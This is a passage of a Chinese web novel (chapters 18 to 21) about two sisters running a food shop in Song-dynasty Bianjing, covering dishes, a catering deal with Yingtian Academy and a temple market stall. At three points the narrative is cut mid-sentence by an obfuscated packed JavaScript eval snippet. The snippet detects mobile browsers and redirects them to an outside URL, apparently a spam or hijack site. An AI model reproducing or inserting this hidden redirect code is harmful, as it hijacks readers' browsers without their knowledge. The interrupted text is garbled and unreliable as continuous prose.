18. 女讼师 六月的汴京正值雨季，陆琼便被一阵淅淅细雨吵醒，在闭店和冒雨上街之间选择先填饱肚子。 晨起天比较凉，伴着雨水就更加湿冷，她赶紧披着外衣到灶房生火，想煮些热乎的早食，正好下着小雨，不用赶着去看铺子。 洗净胡萝卜，切成丁状，盛到碗中备用，再割一小块肉，切成肉片，跟着米下锅煮，等待的间隙便去把晒干的蜜饯杏子装到陶瓮里。 陆萱闻着粥的香味也迷迷糊糊起身走来，捧一碗水，蹲在堂屋前用牙粉洗漱，新下的雨水便会将白沫冲洗干净。 锅里咕噜咕噜响，陆琼便取出几块柴，浇上水熄灭，刚揭锅就被一股雾气糊住脸，舀一勺粥尝咸淡，味道不够便再加半勺盐。 再搅匀几下，便能出锅。 陆萱已经拿着碗来，抻着脖子望向锅里：“阿姐，先给我盛一碗吧。” 本想再焖上片刻，见她这嘴馋的样子，陆琼也跟着乐，给她盛一大碗，差些把手烫得捧不住碗。 趁热把粥下肚，二人都变得暖和起来，不久雨便停，她们就沿着青砖一路走到陆记去。 因着下雨，出门的行人并不多，杨姐儿没敢多做糕点，只有昨日一半多，若是不够下午再忙些，也比卖不出去亏本好。 陆陆续续来了些食客，坐下吃一份汤饼便走。 陆琼闲着无事干，就到灶台处烤火，放几根红薯进去，用铁钳翻烤，火光照亮全脸，泛上一层红晕：“何时才能不下雨，自端午以来，这月便下过好几场雨，连食客都变少。” 杨姐儿还在搓长条，这是位小娘子要的镈饦，手上沾着白面粉，笑道：“也没几日了，听闻皇宫已经开始用冰，再过阵子天再热些，也能跟冰贩子买些冰来。” 可是冰的价钱高啊。 陆琼抱怨到时还要推出新饮品才能吸引食客，像是酥山、冰酪、雪泡豆儿水、冰雪冷元子......有些应付不过来。 见她这般愁，杨姐儿也不敢打趣人，只说采冰人采冰不易，每逢冬至时节，家家户户都在过冬，他们便要在这最寒冷的时候采冰，京城河水结成厚冰，取一尺五寸冰，再运到冰窖储藏。 比起陆琼的苦恼，陆萱就更期待用冰的日子，往年在上元村她们都是靠井水冰镇，还未用上过几次冰，但那种冰凉的感觉已经印在心里，想想便觉得凉快多。 她捏捏陆琼的肩膀，讨好道：“阿姐，我们到时也用冰，雪泡豆儿水不难做的......” 陆琼轻轻“嗯”一声便算是答应了，其实她也馋冰镇的饮品，只是嫌手搓刨冰有些太累人，不过比起挣钱，这些都不算什么。 一直光顾的读书小郎君今天也冒着雨赶来，买几份糕点便又匆匆回去。 陆琼这才想起，应天书院的学生每月初一、十五休息，今天正好十五，承包诗会茶点一事只能过些天再商讨。 说起来，如今的学生也辛苦，一月只有两天假，就盼着过春节，再不然就是田假，像她前世还能有寒暑假，也不用把“四书五经”倒背如流，就是压力大，只能说各有各的难。 先前还说想要给陆萱找夫子，结果这些天陆琼给忙忘了，干脆趁现在问她：“萱儿可想找私塾先生讲学？” 陆萱接过刚烤好的红薯，烫得手里直翻滚，听着话双眼还有些无辜：“阿姐怎么说起这事了。” 思索片刻，她便摇头：“如今铺子正是需要人手的时候，我想留下帮忙，不想找什么私塾先生。” 更何况私塾先生不好请，读书人永远压她们一头，就是有钱也难遇到愿意给她讲学的人。 沈二娘坐在靠灶台的位置，还在等她的冷淘，从方才便把她们的话都听进去，可不大赞同：“小娘子年纪尚小，涉世未深，不知人心险恶。这世道的女子若是没有才识，便容易上当受骗，我从事讼师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812474|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多年，见多被夫家骗光家产的女子......” 见杨姐儿调好酱汁，陆琼也亲自把槐叶冷淘端过去，听沈二娘谈起做讼师遇到的事情，帮过不少女子撰写诉状，跟官府打交道，维护百姓利益。 真是奇女子，听得陆琼都想给她拍掌，陆萱也是听入迷的模样，给人端茶递水，就差想要拜人为师。 不过这是件好事，她也总算是有读书的念头。 午时闭店早，陆琼便去何六姑家买一条鲈鱼，准备做一道红烧鲈鱼。 木盆里放着几条肥大的鲈鱼，何六娘捉住一条游得最欢的，用草绳穿过鱼鼻扎牢，鱼尾也绑住，递给陆琼：“小娘子是要做鱼鲙来着？切细片放上盐、酱、醋，那口感可是鲜滑极了。” 陆琼笑着不语，鱼鲙就是生鱼片，她可吃不惯。也不知这鱼生的吃法怎么会从周朝流行至今，后来还成了别国的特色料理？ 又跟何六娘聊聊家常，还叫她过几日定要去陆记吃上一回才分别。 处理好鲈鱼内脏，陆琼打水冲几遍，洗出血水后才在鱼身两边划几刀，好方便酱汁腌入味。 许是从小就跟着她长大的原因，陆萱也吃不了鱼鲙，这间隙还在切姜片、蒜片，打算把鱼腥味都盖过去。 陆琼在锅中倒油，加柴大火煎煮，油热下鲈鱼，煎得鲈鱼滋滋响，见差不多便翻面，煎到两面金黄再加作料，蒜末一碰油底，香味就飘到整个院子，把雪儿都馋得汪汪叫。 用过午食，二人便休息。 陆琼起得早，闲着没事去给谢家送糕点。从州桥过御街，在皇宫的宣德门前右拐，见到镇安坊气派的庭门便是谢宅。 陆琼把食盒递给谢家的侍女桃红，听着她说起谢家的事，老夫人昨日生小病，胃口不好，好在陆琼送来糕点，说不准老夫人能吃得下。 在她走后，谢询也匆匆赶回宅子，一路奔向老夫人的院子。 19. 蟹酿橙 赵氏正坐在太师椅上，用勺子舀一口蟹酿橙，橙香伴着鲜蟹肉一并入嘴，尝过后才道：“宋娘的厨艺越发好了，今儿的蟹肉格外鲜。” 唤竹叫人将吃净的橙翁端出去，笑着道：“这蟹是一早买的，我见宋娘剔出肉膏装进橙翁里，浇上汁水、酒、醋才入锅蒸，又是酸味，又是肉的鲜香，满屋子都是。” 还未多说几句，便有旁人在门边道小郎君回府了，赵氏忙叫人开窗散味，被唤竹搀扶着半躺在床榻上。 谢询进来时便见到这幅光景，年近五十的母亲额上又多了几道细纹，面色红润，看着倒是有几分神色厌倦。 心里生出许多愧疚，定是他的事叫母亲操劳过重。 赵氏阖眼，并不打算理会谢询，唤竹也是站在自家老夫人一边，拿蒲扇扇着细风。 谢询行礼道：“母亲可是好多了？” 唤竹被老夫人轻轻扯一把衣袖，心里叹气，这对母子又要置气到何时，可也只能依着老夫人的想法：“老夫人近来忧虑过重，茶不饮饭不思，可是消瘦许多。” 谢询方才正好撞见旁的侍女捧着两份吃空的蟹酿橙，自是知道唤竹的话有假，母亲向来不会亏待自己的口欲，就是他真的往后都不回家，也不能叫母亲少吃一口饭。 可谁叫他有错在先，只能认下这罪名：“是儿叫母亲担忧了，今晚就搬回府中......” “不用，”赵氏睁眼，依旧看不出精神，“儿孙自有儿孙福，你的事我日后也不会再管，就是搬不搬回府里，也是你自个的事。” 说完就叫唤竹扶她起身，说是要去照看儿妇便将谢询随便打发走。 谢询本想叫母亲待在榻上好生歇息，又想到如今阿嫂怀有身孕，也正是需要照看的时候，收回想说的话徒留原地。 直到暮食，他才见到神采奕奕的母亲，所幸整夜都相安无事，还能与母亲攀谈几句。 次日一早，赵氏被唤竹服侍起身，便问起谢询。 唤竹递上湿手帕，给老夫人擦净指缝：“小郎君昨晚留宿府中，今儿又早早出去，连早食都来不及吃。” 赵氏哼一声：“随他去，整日不省心。” 唤竹本以为老夫人会难过，谁知吃过早食便要找王夫人、李夫人到府中做客，许是还未死心，想给小郎君找门亲事。 着实无奈，稍作歇息她便叫人去准备些吃食招待客人。 ...... 陆记食铺今儿鱼香味重。 何六姑挑剩下的小鱼小虾全被陆琼买下，一早便提到铺子里。 锅上还蒸着糕点，见缝边冒出热气，杨姐儿就把柴取出到隔壁灶口：“小娘子打算怎么处理这些鱼儿？” 陆琼捞出小鱼，手上都是湿漉漉的，随口应下：“裹面糊放锅里炸。” 跟鲊鱼相仿的做法，只是少放了酒，夜市里也有不少人做，不稀奇。 杨姐儿帮忙刮鱼鳞，二人刮上一刻钟才清理完。陆琼在盆中撒上酒、一勺盐、葱姜水，待小鱼充分腌制后倒入面糊，搅拌均匀。 锅里倒油，粘上面糊的小鱼下锅炸，香味立即扑散四周。 陆记一开张，就引得行人垂涎三尺。 “小娘子又做什么好吃的？” 陆琼给这位食客盛上一碗飘香的三鲜面，面皮顺滑盘在碗中，笑道：“新炸了一份小鱼当作配菜，若是客官想吃，得多加五文。” 店里荤菜一律加五文，这是入门的木板就写明的，不论新客熟客望一眼便知。 圆脸食客见那金黄的炸鱼秀色可餐，立即点头，又多给了五个铜板。 陆琼也笑着收下，取一个折腰盘，装上四五条小炸鱼，贴心送到客人桌边：“客官慢些享用！” 炸鱼无需多精湛的厨艺，食客也吃得津津有味，酥脆的口感，配上滑嫩的面皮，更是别有一番滋味，末了还把沾了炸鱼味的汤汁喝尽，打一个饱嗝。 陆萱早食吃的不多，两个素馒头便打发，现下更是馋的不行，自己煮了碗汤饼，也蹲在后门就着炸鱼吃。 这下可好，香味不只是飘到前巷，还溢过后巷，来陆记食铺凑热闹的人便更多。 陆琼还得忙着泡茶，食客不小心洒出桌上，从腰间扯出粗布，随手擦净就端上新茶来。 对街卖鱼的郎君也赶过来，要一碗冷淘加一份炸鱼。 引得别人笑话他：“阿枫，你不是卖鱼的，怎么还跑来这吃别人的炸鱼。” 阿枫铺子里空着人，时不时还得回头看：“鱼香都漫过街了，早食还没吃多少，就被这香味弄馋了。” 旁人也赞同：“陆掌柜家的汤饼确实好吃，今儿新炸的鱼也香。” 还没到晌午，炸鱼便全部卖光。 陆琼抽出钱筒数钱，除去买鱼的一百文，还挣了小三百，加上卖出的糕点，就是五六百。她数着一堆堆铜板，笑弯了眼，只可惜明天不一定能买到小鱼，不然还能再多赚些钱。 应天书院与国子监不同，是个人创办，并非官府所建，上学不仅需要才识还需收取一定费用，便有后世记载名人冷水洗脸，吃隔夜粥块。 别处书院设立与山林胜地，应天书院则在闹市中，过龙津桥便能见到书院门庭，建筑气派，巍峨壮观。 陆琼提起裙摆，迈上台阶，与书童交涉，便有人前来迎接，还好生招待：“山长今日有事外出，女郎有事可与堂长商讨。” 若说山长是校长，堂长就相当于副校长，也能总管书院一切事宜。 二人穿过影壁，从藏书阁绕到东处偏房，这一带是师生学习、生活的斋舍，院里种满银杏树，现下学生都在讲堂听讲，只余下堂长一人坐在石桌上沏茶。 见人来，堂长起身行礼。陆琼跟着回礼，便听见堂长说已经有人提过她：“沈郎君同我提起过你，还带过不少糕点来书院，味道清甜，与下月的诗会有相似之处。” 话音刚落，又道：“只是糕点样式过于少，若是千篇一律，也未免太过枯燥，就是书院学生也吃腻，像广寒糕更是见惯之品，每逢日考、月考，便有不少人相互增送。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822744|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 考试吃广寒糕，大概相当是吃油条、鸡蛋可以考满分？ 陆琼只是心里想想，还是要与堂长争取一番：“''诗情茶助爽''，从茶饮到糕点样式，定是离不开诗意，好诗颂好茶，好茶也能作好诗。我也会重新琢磨诗会该用的茶点，譬如荷花酥就能作一首与荷花有关的诗，恰好七月也是夏月，正是荷花盛开的时节。”① 堂长笑着道：“先前听沈郎君夸赞我还不信，如今这番交谈也能看出女郎是秀外慧中，有慧心巧思的女流，也是难遇的女子。” 陆琼来之前就想好措辞，不过是正常发挥罢了，也笑笑：“若是堂长愿意，余下半月，我还能细细敲打。” 堂长给她倒上一盏茶：“诗会上的茶点还请女郎好生琢磨。” 陆琼也知这事成了，按下心中喜悦，轻轻抿一口茶，好甘甜。 谈成之后便去举办诗会的地点参观，旁边就有一座荷花池，也难怪提到荷花酥就见堂长和颜悦色。收下书院给的二两定金，陆琼便开始想诗会适用的糕点。 陆琼在书院没多耽误时候，现下不过午时，街上行人依旧络绎不绝。 先前的说书先生已经换了故事，这回是讲与历史相关的故事，这个宋朝除了生活上有所不同，其余的并无多大差别。 沿着来时的路回去，便见金娘仍在桥东卖豆腐。 陆琼走上前去搭话：“金娘这豆腐真好看，白嫩嫩的。” 金娘知道她这是在打趣自己，作势要给她切一块：“既然好看，小娘子就买一块好。” 陆琼也顺势应下，指着靠中间的豆腐：“就要这块，越多水越好，不要老豆腐。” 金娘每天都做两种豆腐，一种嫩豆腐，一种老豆腐，嫩豆腐只做一板，因为比较少人吃，松软偏白，一般是用来作汤羹，口感比较细滑，用来拌糖吃也好。 老豆腐水分少，有韧劲，用来煎、炸、酿，若是酿豆腐，陆琼才会选这种豆腐，比起嫩豆腐，汴京人也爱吃老豆腐。 金娘替她装好豆腐，凑过去压低声音：“先前你不是说在州桥遇见闹事的兄妹？” 陆琼也把耳朵凑过去：“出什么事了？” 金娘说今早那小娘子的兄长被人打断腿，是在柜坊跟人玩关扑，把钱输光了，把爹娘留的食铺都当了，现在可谓是一穷二白，还连累了小娘子。 陆琼听着也唏嘘，柜坊真害人。 在上元村也经常见到押宝转盘类的赌法，但最盛行的还是以商品为诱饵的关扑，到特殊的日子朝廷还会顺应民意，准许民间玩关扑，好一个“官放关扑”。 每当这时候，陆琼就会叫陆萱在家待着，千万不能沾上赌。 很快这个插曲也抛之脑后，陆琼回去便把豆腐切成小块备用，在油锅上煎几个荷包蛋，切成块，倒入豆腐，煮成奶白的汤汁，香味愈发浓郁，陆萱则帮忙把择好的菘菜放进去，焖上片刻。 下午依旧不开业，陆琼便要开始筹划诗会的茶点，只是这事急不来，所幸还有半月，足够她细细想。 20. 炙猪肉 炖豆腐的间隙，陆琼还把堂屋屋檐下的腊肉取下来，还剩下半块，今日正好解决。 陆萱拿来一大捧蒜菜，也就是“蒜台”，宋朝百姓喜欢把嫩白的蒜菜切成一寸长，掺盐一起炒，再加醋、水装到陶瓮中腌制，陆琼昨天也腌了一瓮，剩下的刚好跟腊肉一起炒。 肉难熟，她就先把腊肉放锅煮，陆萱就在一旁打下手，切蒜末，洗蒜台。 两人配合很快就做好，陆琼把煮好的腊肉切开，再放油锅煸炒，肉的咸香便飘满地。 想起临近过年，家家户户都会腌腊肉、制腊肠，阳台下都油了满地油，其实在这也一样，冬至腌肉，而她现在夏月腌肉是因为想吃。 陆琼把最后一勺炒肉盛到盘中，对着院子嚷道：“萱儿快来端盘子！” “好！”响亮的嗓音也传进堂屋来。 炖了许久的豆腐也软烂，舀汤汁到饭上便透着股淡淡的香味，陆琼喜欢吃泡软的饭，尤其是在天热配上一片咸腊肉，更为下饭。 通济坊的宅子是青砖绿瓦，屋顶有坡度却也缓和，比起上元村的草房要舒适得多，但也抵不住夏日，两人不过是吃一顿饭，额上便冒着细汗。 陆萱伴着豆腐汤把最后一块腊肉吃进肚里，素色瓷碗放在桌上“哐”的一声，咂咂嘴仍然意犹未尽。 这阵子忙得紧，陆琼都没在吃食上费多少心思，在陆记有杨姐儿，回到家还累得手脚不能动，只想歇着，顿顿都是草草了事。 现在看到陆萱这么好打发，她顿时有些愧疚，眉间压了压：“萱儿今晚想吃什么？” 陆萱好似要点头，想起什么又摇头：“阿姐不用这般顾着我，现下要紧的是铺里的生意，还有就是诗会，阿姐可有想法了？” 诗会也是陆琼第一头疼的事，接下这门生意有多高兴，现如今便有多苦恼。 应天书院仅学生便有三百余人，这还是除去休假的，她这都相当于独自操办相国寺的斋会了。 陆琼只是粗略盘点，糕点样式、份量、茶盏碟盘就够她费心，还需考虑诗意，到底怎样才能把茶点跟诗意联系在一起？ 见她皱眉，陆萱也跟着忧虑，不过还是轻声安慰，抚着她的手：“阿姐莫要再愁，若是拿不准主意还有我，就是我不行还能找杨姐儿。杨姐儿现在可是行家了，如今店里每日要用多少面、多少糖都能提前算好。” 陆琼心里一暖，在她看不见的地方陆萱也在跟着长大，本来还想一人操办所有的事宜，现在也想带着陆萱一起，说不定也能有更多的思路。 见阿姐露出欣慰的笑，陆萱便知阿姐从未把她当做大人看，心里叹气，谁家不是十一二岁便当家的，也只有阿姐把她当孩童般看待。 陆萱不自觉握紧腰间的素锦荷包，这两年离姐儿也要谈婚论嫁了，也不知道她在上元村过得如何。 桌上饭菜还剩下一些蒜台炒肉，陆琼把它们放回锅里，防止尘灰掉落。 雪儿也满足口欲，平躺在地砖上，四脚朝天晒太阳。 陆琼拿皂荚在水中起泡，用丝瓜瓤擦去瓷碗表面的油渍，向外望去能见到院子太阳很大：“萱儿把被褥都拿出去晒晒，趁着好天气。” 陆萱顺手揉一把萱儿的头，就应声到卧房搬被褥，院里衣杆早就架好，将被褥衣袍、一甩，再捋平整便好。 汴京的雨季也即将过去，接下来便是酷暑，街上卖冰的风声也越传越多，众人期待着夏日冰凉的饮品，也厌恶着炎热的天气。 一到晚上，陆记食铺的食客也越发多。 原是天热都趁着夜间出来乘凉，从桥边一路过来，热闹的地方除了酒楼还有陆记。只可惜狭小的铺子放不下如此多人，陆琼只好跟裴玉打了四把长椅，挨着门槛放好。 沈二娘也成为陆记的常客，许是性子相仿，陆琼也跟她走得近，常常端着一碗渴水就挨在一起聊天。 不过这几日陆记的食客变多，沈二娘便不怎么来，陆琼也能安心打理铺子，顺带筹备诗会的事，转眼就只剩下七八天。 她单手撑在木柜上，记下需要购买的食材、物件，诗会上的茶选常见的花茶，不同花名也对应不用的意象，方便书院学生作诗...... “陆掌柜，一碗冷淘！”常光顾的食客进门便喊她，随后坐在靠近门槛的位置。 陆琼热情应好，转身见杨姐儿在和面便不去打搅她，自己去竹篮里取出二两宽面皮，在碗中盘好，用胡麻、蒜末、葱花、酱醋拌好，最后淋上热油，再按食客口味加配菜。 天愈发热，比起别的汤饼，冷淘自是更受欢迎，就连食客冷落许久的杨梅渴水也卖得比先前好。 食客也是图新鲜，今儿偏好豆儿水，明日就爱上紫苏饮，无法捉摸。 陆琼刚端上桌，食客便提起一事：“明日便是相国寺大集，许久不见陆掌柜去还有些不习惯，这次可会去？” 在汴京这段日子，陆琼也就刚搬来时去过一次相国寺，当时在那挣得不肯离开，怎么会想到今天就开得起铺子。 花大价钱找裴玉新打的推车也闲置，这“大价钱”自是相对于那时来说。 如今陆记一日的流水便可达上千钱，除去成本也有五六百，她们也有余力扩张铺子，不过目前还不碍事。 稍加思索，陆琼便有了回应，笑着对那食客道：“客人有心了，我们明日也会去的，就是会闭店一日。” 开食铺以来便无一日休息，比上班还累，她也想趁机休假一天。且去相国寺还能扩大铺子名声，何乐而不为？ 当晚闭店，陆琼便把杨姐儿、萱姐儿叫在一起，还未说是何事，陆萱就迫不及待拍手道：“今儿可是发钱了？” 见她两眼发亮，不像是假的，陆琼没好气道：“叫你来是说明日闭店的事。” 跟她们解释后，陆琼便在木门上贴上一张纸，告知前来的食客移步去相国寺。 汴京识字的人不少，也不怕他们看不懂。待纸上四角都贴紧门，她拍拍手里的灰便回去睡下。 次日醒来，正是打五更。 在窗边推开一条缝，天还没彻底亮，陆琼被扑了一丝冷意，赶忙合上窗，拉紧肩上的薄衫。 因着许久未出摊，她昨夜在榻上翻来覆去也睡不着，硬是听着打更人从一更打到二更才朦胧睡下。 不过也不耽误她去相国寺挣大钱。 早食也不可随便打发，毕竟今儿可是持久战。 陆琼在碗中打上四个鸡蛋，搅出一碗面糊，待锅里的油滋啦响，就把面糊摊上去，翻面，刷上一层蛋液，再翻面，再刷蛋液，最后撒上胡麻，切些胡瓜丝裹在里边，算是简易的煎饼。 一共摊了三份，给杨姐儿也带一份。 找出家中所有矮凳，一并塞进推车里，还在上边搭了炉子，届时可以给杨姐儿做汤饼，就是有些小，一次只能做一份。 做好这些，陆萱也洗漱完，啃几口外表酥脆，内里软嫩的煎饼才满足地出门。 陆琼在后边握着把手推车，陆萱就在前头指路，一前一后借着还未隐去的月光前往陆记。 杨姐儿比她们来得更早，把冒着热气的糕点一盒盒搬上车。 在相国寺不方便用水，便只做冷淘要用的冷面。陆琼和面，杨姐儿搓长条、拉面皮，陆萱负责放锅里烫熟，再捞上来过凉水，调料则打算现调。 装上一桶放凉的豆儿水，推车便再也放不下。 好在陆记离相国寺近，穿过几个巷口便到。 陆琼把推车停在内院，还是先前摆摊的地方。先前都是一块板、一个木架子就能摆摊，现下却常见她这样式的车，不过还是许多人舍不得花钱去造一个车，觉得原先的独轮车也能凑合。 很快她们的摊位也摆开，杨姐儿把蒜末、葱花放进炉子煎，蒜香便席卷整个院子，把别家的味道盖住，颇有些“臭豆腐”、“螺蛳粉”的意味。 对厌恶蒜味的人来说不太友好，所幸调料很快制好，待味道散去便没那般冲鼻。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823693|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼也开始吆喝，宣传“陆记食铺”。 摊上还支着案桌，所有食盒都掀开盖子，花形的、方块状的、圆的......对应着的是栗糕、枣糕、蜂糖糕...... 她家的糕点每块份量都不小，所以卖五文一份也不会嫌贵，见有人观望却不敢上前，陆琼也想出一个办法。 从推车中取出一把竹刀，找几块糕点切成小块，摆在空食盒上，她这样的动作着实吸引不少人的视线。 杨姐儿在给食客拌面，也搞不懂她家陆掌柜在做什么，最后撒上一勺热油，噼里啪啦响，香味飘向四周。 有娘子本是被这冷淘的香味吸引过来的，最后却看到与其他食盒画风不同的小糕点，便上前搭话：“小娘子，你切这般小是做什么？” 新奇的事物总是容易激起人的好奇心，陆琼也是抓住这一点，再进一步推销自己的产品，捧起食盒给那位娘子瞧：“这些小糕点是试吃的，不需要钱，若是尝过之后觉得喜欢还可以再买。” 试吃？听着就觉得有意思。 旁的人也围观过来，有人惊呼，认出她是陆记的掌柜，别人就问陆记是什么。 陆琼也趁他们试吃的间隙，给铺子打广告：“陆记食铺就在州桥边上，咱家有汤饼、熟水，还有现在试吃的糕点。旁的冷淘也是我们陆记的，若是偏好咸口，能多加些肉，只是要再加五文钱，若是喜欢甜食，就吃咱家的糕点，口味清淡的还可以来份镈饦、买花汤饼......” 长相清秀的女子立于闹市中，也算是一股清流，更何况她口齿清晰，嗓音亮丽，看热闹的也乐意凑上去。 人一多，总有人愿意为吃食买账，免费试吃的糕点很快就被分完，陆琼也卖空好几个食盒。 味道也确实不错，还为冷淘吸引许多食客，尤其是排着队还要闻这诱/人的香味，大多数人都受不住。 她抽出新的油纸，给头个试吃的娘子打包广寒糕，还多添几份栗糕：“客人慢走！” 那娘子也是实诚人，拎着糕点笑弯了眉：“陆掌柜家的糕点着实不错，下次还来。” 其实陆记糕点在一众吃食中很难脱颖而出，全靠陆琼的营销手段。名气大了，就算是难吃的东西，也总有好奇的人赶上前去尝鲜。 杨姐儿的手艺才是留住食客的最后一手，被陆琼这么一吆喝，排队买冷淘的人也越发多。 陆萱在一旁看得目瞪口呆，只会帮忙递吃食，收铜板。 有人见这排着四五人的长队，也跟着好奇，揪着队尾的人问：“小郎君在这可是候着什么？” 小郎君指着一行提糕点的人，昂头道：“这可都是等着陆记的冷淘，这的糕点还能免费试吃。” 问人的婶子往前一瞧，在摊位上分糕点的不就是在州桥的小娘子！ 想她那天听陆娘子说要送糕点就不大认可，这才半月，人小娘子就做得风生水起，还真的有人乐意白吃后还花钱买的。 真是大意了，谁能想她真有这般本事，现下说什么也是徒劳，婶子摇摇头，提着两担果子躲到别院去了。 陆琼收摊时，还收获了别的摊位艳羡的目光，目的达成，提早收工！ 本想立即回去，出后院时遇见了相国寺的住持，旁人叫他为灵通住持。 陆琼也追着灵通住持，想跟他交谈斋会的事宜：“灵通住持还请留步！” 灵通住持回身，见是风头正盛的陆掌柜，也戏称一句：“陆掌柜的名声，老衲也有所耳闻，如今寻来可是有何事？” 方才众人瞩目，陆琼也未曾觉得奇异，现下被人单独点出来倒有些羞怯，定下心神才与住持道：“相国寺何时要举办斋会，若是有难处，可告知于我。” 灵通住持眉眼和睦，笑道：“陆掌柜有所不知，本寺僧人不乏厨艺极佳之辈，近来有名的炙猪肉便是出自我寺的僧人。操办斋会于本寺来说，不过是小事，劳烦陆掌柜为此忧心了。” 僧人？怎么会和炙猪肉扯在一起？ 21. 徐妙姑 因着陆琼太过震惊，住持也觉得有趣，恰好也是吃午食的时候，便将陆琼跟陆萱带到灶房去。 相国寺的灶房比陆记宽上几倍，能容纳近百人，墙边共建有五六个灶口，还有额外的炒豆炉、贴烧饼炉、熬粥炉，比陆记更像是一个食铺。 名声在外的慧明僧人便在指挥众僧人做午食，左边僧人择菜，中间僧人切丝，右边的负责放锅里煮，顷刻香味四溢。 就是素菜都能做出花样来，陆琼也是佩服得不行。 不过她此行是想来见识炙猪肉的，可惜杨姐儿先回去了，不然还能一起“偷师”。 灵通住持只负责引荐，余下的还需靠陆琼自己，趁着慧明僧人得空她便上前问候，见他回礼才敢道出此行目的。 慧明僧人年四十，在寺内有二十余年，见过各路人，倒是很少碰见问他如何做炙猪肉的，还是这般年轻的女施主。 也是新鲜事，慧明僧人笑着道：“施主倒是赶上好时候，弟子也正巧要为旁的施主准备这道吃食，若是施主不嫌枯燥，可在此等候。” 陆琼不擅长听文绉绉的话语，却也明白这是准许了，笑着应下。 许是有规训，僧人做午食也很安静，除开切菜声、柴火声、水沸声，便无多余的声响，连带着陆琼二人也静下来。 慧明僧人开始处理猪肉，便把她们叫过去看，不过是前期的清洗、刮毛工作，期间还说起过去的经历。 他早年也在相国寺摆摊，还取名叫“炙猪院”，顶着光头在院内吆喝，且要五斤起卖，挣得可不少。 陆琼听着他的故事，险些闭不住嘴，陆萱也是听得痴迷，僧人会做肉也就罢了，还能挣钱，听起来挣得好似比陆记整个铺子还多......大千世界，无奇不有，今天也算是开眼了。 慧明僧人洗净猪肉，便将一整条猪肉放入冷水锅中，撒上酒、一结葱、八角香料，加柴煮到猪肉从红色微微泛白便可，这是为了给肉去除腥味。 僧人用长木匕捞出猪肉，握刀划开肉块，比划成手指大小：“肉需切成薄厚均匀的块状，不可过薄，太薄容易炙过火，显老，也不能太厚，不然外边熟透了，内里还是生的。” 将猪肉块放在盆中，撒上姜粉、胡椒粉、酱、油、糖霜，搅拌均匀，腌制片刻。 陆琼只是闻着味儿便馋了，这不就是后世的烤肉！ 接下来是炙肉的关键，要用竹签串起来。据慧明所道，砍几节竹子，再削成细小签子便成竹签，还能用来制作竹签香。串好后还要架在火上烤，二人也帮忙串肉，表面刷上一层油，香味更浓了。 炙肉的炉子是长条的，下边装着炭，上边能架上肉串，刚好与炭火相隔。 慧明僧人先做示范，四五串肉握在手中，借着炭火将肉烤熟，油滴在炭上便滋滋响，激起一层火花。 陆琼前世没少烤肉，自己找几串也跟着上手，先架上去，听见滴油声就用食指、大拇指一夹，六七串肉便整齐翻面。这面颜色已呈深红，还不停往外冒油，用手一戳就能感到它的酥脆。 最重要的是，还香！ 陆萱没见过她炙肉，眼里冒着金光，一脸钦佩地看向炙肉，口水都要流出来：“阿姐，你也太厉害了。” 就是慧明僧人也连连称赞，毕竟他还没怎么传授炙肉的技巧，这位施主便能如此快上手，且卖相不比他的差。 “施主有这般技艺，不妨去院中坐地起摊，说不准就是下一个‘炙猪院’。” 陆琼被夸得乐开花，这可是得到了二十年烤肉经验大佬的认可！结果下一秒便把肉烤焦了...... 陆萱立即大声嘲笑，就连慧明僧人也露出意味深长的笑。 不过一盏茶的功夫，整盘肉都炙好，见两人馋得双眼发亮，慧明僧人便给她们几串品尝。 陆琼边道谢边接下炙猪肉，心里觉得他也实在可怜，炙肉二十年，却未能亲自尝一番，也难怪现下收手不摆摊了，毕竟面对这般香的炙肉，谁能忍得住不吃？ 慧明僧人还有事要做，她们也不多打扰，离开便去别院吃炙肉。 见着冒油的肉块，陆琼先深吸一口，闻着胡椒的辛辣刺.激，还有掩盖不住的肉香，咬一口，外表酥脆，内里爆汁，有些烫，却也不耽误它的美味。 陆萱倒是心急，一大块炙肉直接咬下来，张嘴用手扇风，一边还不忘多嚼几下：“好烫！” 这是要在嘴里再炒一遍？陆琼找别院的尼姑讨来一碗豆儿水，应当是在井中冰镇，还带着丝丝凉意，便端着一碗水稳着小碎步跑回去，递给陆萱：“慢些吃。” 离开相国寺后，她们就在家中歇息，陆琼也趁闲着把家里上下打扫一回。 见给雪儿搭建的狗窝有些破旧，她便找新的干稻草扎成鸟窝状，垫上一块深色麻布，用手一压，不扎手还软乎乎的。 今天也是雪儿的洗沐日，她们需从外边打水，足足打了三回才装满水缸。 因家里剩的皂荚不多，只好取些枯枝烧成草木灰，泡成灰水，浇在雪儿身上，白色的毛都染成墨色，好在它配合，没多久便得一个干净的白狗狗。 